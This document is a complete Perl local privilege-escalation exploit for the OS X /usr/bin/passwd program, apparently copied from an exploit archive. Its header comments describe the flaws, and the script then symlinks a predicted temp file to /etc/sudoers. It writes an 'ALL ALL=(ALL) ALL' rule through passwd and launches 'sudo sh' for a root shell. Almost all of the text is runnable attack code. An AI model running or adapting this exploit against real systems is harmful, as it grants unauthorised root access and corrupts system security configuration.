xosx-passwd.pl.txt

`  
Original reference:  
http://fakehalo.us/xosx-passwd.pl  
  
---------------------------------------------------------------------  
  
#!/usr/bin/perl  
#  
# /usr/bin/passwd[OSX]: local root exploit.  
#  
# by: vade79/v9 [email protected] (fakehalo/realhalo)  
#  
# (Apple) OSX's /usr/bin/passwd program has support for a custom  
# passwd file to be used instead of the standard/static path. this  
# feature has security issues in the form of editable file(s) being  
# made anywheres on the disk and also writing arbitrary data to files.  
#  
# the first issue will only work if the file does not already exist,  
# it is done using "umask 0;/usr/bin/passwd -i file -l <filename>".  
# the second issue is once a successful password change has occured  
# /usr/bin/passwd will insecurely re-write the passwd file to  
# /tmp/.pwtmp.<pid>, which can be predicted and linked to a file of  
# your choice. (this exploits the second issue to overwrite  
# /etc/sudoers)  
#  
# (for some reason this took apple 6 or so months to patch)  
  
use POSIX;  
  
$fake_passwd="/tmp/xpasswd.$$";  
$passwd_pid=($$ + 1);  
$passwd_tempfile="/tmp/.pwtmp.$passwd_pid";  
$sudoers="/etc/sudoers";  
  
sub pexit{print("[!] @_.\n");exit(1);}  
print("[*] /usr/bin/passwd[OSX]: local root exploit.\n");  
print("[*] by: vade79/v9 v9\@fakehalo.us (fakehalo/realhalo)\n\n");  
unlink($fake_passwd);  
print("[*] making fake password file. ($fake_passwd)\n");  
open(FP,">$fake_passwd")||pexit("couldn't open/write to $fake_passwd");  
# uid must equal the current user.  
print(FP "ALL ALL=(ALL) ALL #::" . getuid . ":" . getuid . "::" .  
getuid . ":" . getuid . "::/:/\n");  
close(FP);  
print("[*] sym-linking $sudoers -> $passwd_tempfile.\n");  
symlink($sudoers,$passwd_tempfile)||pexit("couldn't link files.");  
print("[*] running /usr/bin/passwd on $fake_passwd.\n");  
print("[*] (use ANY password longer than 4 characters)\n\n");  
system("/usr/bin/passwd -i file -l $fake_passwd \"ALL ALL=(ALL) ALL #\"");  
print("\n[*] running \"sudo sh\", use your REAL (user) password.\n\n");  
system("/usr/bin/sudo sh");  
exit(0);  
`